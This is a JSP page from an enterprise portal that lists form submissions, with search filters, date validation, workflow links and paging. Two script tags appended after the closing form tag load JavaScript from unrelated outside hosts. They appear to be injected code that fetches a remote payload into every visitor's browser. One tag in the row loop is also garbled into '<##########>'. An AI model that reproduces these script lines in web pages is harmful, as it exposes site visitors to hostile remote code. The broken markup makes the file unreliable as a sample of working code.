<%
/*
 * @(#)ListFormReportSummary.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListFormReportSummary.jsp

  This is a ListFormReportSummary page.  It shows the all form template that can be initiate by the current user in EIP.

    @author             Tony Chen
    @company            DCIVision Ltd
    @creation date      16/01/2003
    @version            $Revision: 1.23.2.14 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listFormSubmissionForm" scope="request" class="com.dcivision.form.web.ListFormSubmissionForm"/>


<%

  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String  LIST_NAME = "formSubmissionList";
  String    navMode = listFormSubmissionForm.getNavMode();

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"form.columnheader.title", "TITLE"},
                            {"form.columnheader.form_code", "FORM_CODE"},
                            {"form.columnheader.form_version", "FORM_VERSION"},
                            {"form.label.form_type","FORM_TYPE"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };


  String[][] SEARCH_MAP = { {"form.label.form_code", "FORM_CODE"},
                            {"form.columnheader.form_version", "FORM_VERSION"},
                            {"form.label.title", "TITLE"}
                          };



  int     COLUMN_OFFSET = 0;

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<!-- Form Section Begin -->
<html:form action="form/ListFormTracking" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>

<script language="javascript">
<!--
//Bill add for EIP-1705 end
function validateOpList(frm, sortValue, sortOrder, navMode){
  //Bill add for EIP-1705 start
  if (frm.fromDate.value!=''&& frm.toDate.value!='') {
    if (compareDate(frm.fromDate, frm.toDate, true) > 0) {
      alert("<bean:message key='errors.form.form_time_can_not_be_greater_than_to_time'/>");
      return false;
    }
  }
  OpList(frm, sortValue, sortOrder, navMode);
  return false;
}
//Bill add for EIP-1705 end

function OpListCustReset(frm) {
  frm.fromDate.value = "";
  frm.dummy_fromDate.value = "";
  frm.toDate.value = "";
  frm.dummy_toDate.value = "";
  //frm.searchFormType[2].checked=true;
  OpListReset(frm);
  return false;
}

-->
</script>

<layout:listBar>
    <div class="button">
      <layout:returnButton className="but-standard"/>
    </div>
<layout:filterControl/>
</layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
<div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
<div>
<table>
  <tr>
    <td class="filterPanelItem" nowrap >
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap >
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap >
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
  <tr>
    <td class="filterPanelItem" nowrap >
    <bean:message key='common.label.update_date'/>:
    </td>
    <td class="filterPanelItem" nowrap >
    <bean:message key='common.label.period_from'/>:
    <html:datepicker property="fromDate"/>
    </td>
    <td class="filterPanelItem" nowrap >
      <bean:message key='common.label.period_to'/>:<html:datepicker property="toDate"/>
    </td>
  </tr>
</table>
</div>
<div class="buttonContainer">
   <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return validateOpList(listFormSubmissionForm, '${listFormSubmissionForm.sortAttribute}', '${listFormSubmissionForm.sortOrder}')" />
   <html:standardButton label="common.label.remove_filter" onClick="return(OpListCustReset(listFormSubmissionForm))"/>
</div>
<br style="clear:both" />
</div>
<!-- Search Panel End -->


<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listFormSubmissionForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listFormSubmissionForm.getSortAttribute()%>" sortOrder="<%=listFormSubmissionForm.getSortOrder()%>" checkColumn='false' editLabel='<%=("S".equals(navMode)? "form.label.view":"form.label.view_usage")%>' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="formSubmission" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)formSubmission).getID()%>);">
    <td align="center" width="60">
     <logic:permission right='R'>
       <logic:empty name="formSubmission" property='workflowList'>
        <a href="ListFormTrackingDetail.do?formRecordID=<bean:write name='formSubmission' property='formRecordID'/>"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
       </logic:empty>
       <logic:equal name="formSubmission" property='workflowListSize' value='1'>
         <logic:iterate id="workflowRecord" collection="<%=((FormSubmission)formSubmission).getWorkflowList()%>" scope="request">
          <a href="ListFormTrackingDetail.do?formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
         </logic:iterate>
       </logic:equal>
       <logic:greaterEqual name="formSubmission" property='workflowListSize' value='2'>
        <html:img src='IconEditDisable.gif'  align='absmiddle'/>
       </logic:greaterEqual>
     <##########>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
     </logic:permission>
    </td>
    <td width="200">
      <table class="innerTable">
      <tr><td valign='top' width='20%'>
        <logic:empty name="formSubmission" property='workflowList'>
         <nobr><a href="ListFormTrackingDetail.do?formRecordID=<bean:write name='formSubmission' property='formRecordID'/>"><bean:write name='formSubmission' property='title'/></a><nobr>
        </logic:empty>
        <logic:notEmpty name="formSubmission" property='workflowList'>
         <nobr><bean:write name='formSubmission' property='title'/><nobr>
        </logic:notEmpty>
      </td><td >
        <logic:notEmpty name="formSubmission" property='workflowList'>
         <logic:iterate id="workflowRecord" collection="<%=((FormSubmission)formSubmission).getWorkflowList()%>" scope="request">
         --<a href="ListFormTrackingDetail.do?formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>">
            <bean:write name='workflowRecord' property='workflowCode'/>[ <bean:write name='workflowRecord' property='workflowVersion'/> ]
           </a>
           <br>
         </logic:iterate>
        </logic:notEmpty>
      </td></tr></table>
    </td>
    <td><bean:write name='formSubmission' property='formCode'/></td>
    <td><bean:write name='formSubmission' property='formVersion'/></td>
    <td>
      <%if (Utility.isEmpty(((FormSubmission)formSubmission).getFormDocID())){%>
        <bean:message key="form.label.form_type_html"/>
      <%}%>
    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='formSubmission' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall"><bean:write name='formSubmission' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listFormSubmissionForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
<!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>